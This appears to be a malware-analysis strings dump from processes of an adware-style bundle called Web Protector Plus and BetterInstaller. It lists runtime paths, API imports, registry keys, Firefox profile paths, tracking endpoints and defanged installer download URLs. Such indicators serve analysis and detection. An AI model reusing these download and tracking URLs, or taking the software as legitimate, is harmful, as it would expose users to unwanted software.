std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

f:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1,42,0,1785

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

1,42,0,1785

LiveUpdateWPP.exe_4288:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

%b %d %H : %M : %S %Y

%m / %d / %y

%I : %M : %S %p

%d / %m / %y

0123456789-

GetProcessWindowStation

operator

()$^.* ?[]|\-{},:=!

WTSAPI32.dll

USERENV.dll

WinHttpReceiveResponse

WinHttpSetOption

WinHttpSendRequest

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpCrackUrl

WinHttpReadData

WINHTTP.dll

KERNEL32.dll

USER32.dll

ReportEventW

RegOpenKeyExW

RegCloseKey

ADVAPI32.dll

SHELL32.dll

GetCPInfo

GetProcessHeap

zcÁ

.?AVARegKey@@

.?AVASysWriteKey@@

.?AVASysRegKey@@

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

.04080<0@0

7"8(8,80848

9 9@9`9|9

? ?$?(?,?0?4?`?

kernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

{"protocol":{ "version": "1","command":"status"},"service":{"version":"1","id":"%s","src":"%s"},"status":{"code":"%d","cid":"%s"},"client":{"version":"%s"}}

{"protocol":{ "version": "1","command":"ping"},"service":{"version":"1","id":"%s","src":"%s","lcid":"%s"},"client":{"version":"%s"}}

urls

Anti-phishing database updater for Web Protector Plus. This service keeps your computer updated with the newest database of known Internet threats.

AgentTask::Execute :

MainTask::Execute

Software\Mozilla\Mozilla Firefox

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Mozilla/4.0 (compatible;

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

Software\Clients\Windows\StartMenuInternet

http\shell\open\command

firefox

Firefox/

chrome

Chrome/

opera

OPERA

Windows NT

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

ul_cmd

%s : %s

2.1.0.35

%Program Files% (x86)\LiveWPPUpdate\LiveUpdateWPP.exe

Maintaining Web Protector Plus synchronized.

LiveWPPUpdate.exe

IEXPLORE.EXE_4636:

.text

`.data

.idata

.rsrc

@.reloc

u\j.Xf9

j.Xf9

USER32.dll

api-ms-win-downlevel-shell32-l1-1-0.dll

IEFRAME.dll

SHELL32.dll

iexplore.pdb

api-ms-win-downlevel-shlwapi-l1-1-0.dll

iertutil.dll

api-ms-win-downlevel-advapi32-l1-1-0.dll

KERNEL32.dll

msvcrt.dll

_wcmdln

_amsg_exit

RegOpenKeyExW

RegCloseKey

<!-- Note: This manifest needs to be kept in sync with iexplore.exe.manifest -->

<assemblyIdentity version="5.1.0.0"

name="Microsoft.InternetExplorer"

<windowsSettings>

<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

</windowsSettings>

<!--The ID below indicates application support for Windows 8 -->

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

KEYW

.ENNNG.

a.ry.v

l.igM4

?1%SGf

xh.JW^

.97777"7" " " !

3.... ))

8888888888888

8888888888

.lPV)

úW1

.ApX/

H.ZAf

ð[U

%s!FK

1YYYY1YY9GEAA=77YRNNNW:.VT1

888777777

Y.hilkRROMLK=C,

..(((($$

3...((((%

3....(.''$

3.2...((((%

33.2....(,'

55323222...

(%&'00443445?

00.,,,4(

000.,,9(

0020..9(

003200;(

(#'( (''''!'!

Microsoft.InternetExplorer.Default

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe

{28fb17e0-d393-439d-9a21-9474a070473a}

imm32.dll

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}

Kernel32.dll

"%s" %s

kernel32.dll

IEXPLORE.EXE

{00000000-0000-0000-0000-000000000000}

\\?\Volume

Imaging_CreateWebPagePreview_Perftrack

Browseui_Tabs_Tearoff_BetweenWindows

Browseui_Tabs_Tearoff_BetweenWindows_TabProc

Frame_URLEntered

Imaging_CreateWebPagePreview

WS_ExecuteQuery

Shdocvw_BaseBrowser_FireEvent_WindowStateChanged

IdleTask_Execution_Time

Shdocvw_BaseBrowser_FireEvent_BeforeScriptExecute

IMTravelLogMVC_TravelURL

10.00.9200.16521 (win8_gdr_soc_ie.130216-2100)

Windows

10.00.9200.16521

IEXPLORE.EXE_4636_rwx_010B6000_00001000:

api-ms-win-downlevel-shlwapi-l1-1-0.dll

iertutil.dll

api-ms-win-downlevel-advapi32-l1-1-0.dll

KERNEL32.dll

msvcrt.dll

_wcmdln

_amsg_exit

RegOpenKeyExW

RegCloseKey

WebProtectorPlus.exe_3416:

.text

`.rdata

@.data

.rsrc

vSSSh

FTPjK

FtPj;

C.PjRV

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

operator

GetProcessWindowStation

USER32.DLL

X-X-X-XX-XXXXXX

SOFTWARE\WebProtectorPlus\Notify\

SOFTWARE\WebProtectorPlus\

SOFTWARE\Microsoft\Windows NT\CurrentVersion\

SOFTWARE\Microsoft\Windows NT\

hXXp://stat.webprotectionfree.com/pin.gif?e=remove&s=

hXXp://stat.webprotectionfree.com/pin.gif?e=tracking&s=

Shell32.dll

hXXp://webprotectorplus.com

hXXp://webprotectionfree.com/c/SetupComponents.exe

SetupComponents.exe

Software\WebProtectorPlus\Notify

d:\Project\_Bibyte\WebProtectorPlus NO DLL\Release\WebProtectorPlus NO DLL.pdb

COMCTL32.dll

InternetOpenUrlA

WININET.dll

SHLWAPI.dll

KERNEL32.dll

USER32.dll

RegCreateKeyExA

RegCloseKey

RegOpenKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

ole32.dll

GetCPInfo

GetConsoleOutputCP

zcÁ

%Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

mscoree.dll

KERNEL32.DLL

biclient.exe_504:

.text

`.rdata

@.data

.rsrc

@.reloc

PSShP

SSSSh

RegDeleteKeyExW

FtpCommandW

XXXXXXXXXXXX

kernel32.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

d:\mTech\somoto\new_svn\BetterInstaller\BetterInstaller\Release\BetterInstaller.pdb

HttpSendRequestW

HttpQueryInfoW

HttpAddRequestHeadersW

HttpOpenRequestW

InternetCrackUrlW

WININET.dll

PSAPI.DLL

IPHLPAPI.DLL

GetProcessHeap

KERNEL32.dll

CreateDialogIndirectParamW

USER32.dll

GDI32.dll

COMDLG32.dll

CryptSetKeyParam

CryptImportKey

CryptDestroyKey

RegDeleteKeyW

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyW

ADVAPI32.dll

ShellExecuteW

ShellExecuteExW

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

USERENV.dll

GetCPInfo

GetConsoleOutputCP

.?AUIHTMLOMWindowServices@@

.?AV?$CAtlExeModuleT@VCBetterInstallerModule@@@ATL@@

'BetterInstaller.EXE'

Created by MIDL version 7.00.0500 at Tue Nov 08 16:10:48 2011

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>

1"2-2:2]2

:!:&:0:>:~:

: <'<-<`<

{C85A8C97-E040-4924-8E1D-693560EE116E}

WAdvapi32.dll

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

 Mscoree.dll

OLEAUT32.DLL

,%u kB

%u bytes

Range: bytes=%d-%d

Range: bytes=%d-

%d:d:d

%s - %s

Wwininet.dll

r%s.%d

 "%s" %s

 %s (%d)%s

*.TXT

%d.%d.%d %s %sbit

<memory>%d</memory>

%DOCUMENTS%

ÞSKTOP%

hXXp://installer.filebulldog.com

%s\Mozilla\Firefox\%s\prefs.js

%s\Mozilla\Firefox\profiles.ini

biDeleteRegistryKey

biGetExecutionArguments

biCreateRegistryKey

biExistRegistryKey

Better Installer(Mozilla)

%s/%s/%s/%s?v=%s&muid=%s

%s/downloader/%s/%s/%s?v=%s&muid=%s

Preparing %s...

ekernel32.dll

mscoree.dll

KERNEL32.DLL

Open URL Error

URL Parts Error

FtpCreateDir failed (550)

Error FTP path (550)

hXXp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe

rSetup.exe

atform.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe

kerSetup.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

2.0.0.0

BetterInstaller.exe

ProtectWindowsManager.exe_4176:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

MaxPolicyElementKey

pExecutionResource

SHLWAPI.dll

USERENV.dll

%dYeArdMoNthdDaY

file_url

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0 %s

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

ShellExecuteExW

SHDeleteKeyW

GetWindowsDirectoryA

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegCloseKey

RegOpenKeyExW

RegCreateKeyW

ReportEventW

RegOpenKeyW

ADVAPI32.dll

PSAPI.DLL

InternetCrackUrlW

WININET.dll

WS2_32.dll

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpGetIEProxyConfigForCurrentUser

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpReadData

WinHttpAddRequestHeaders

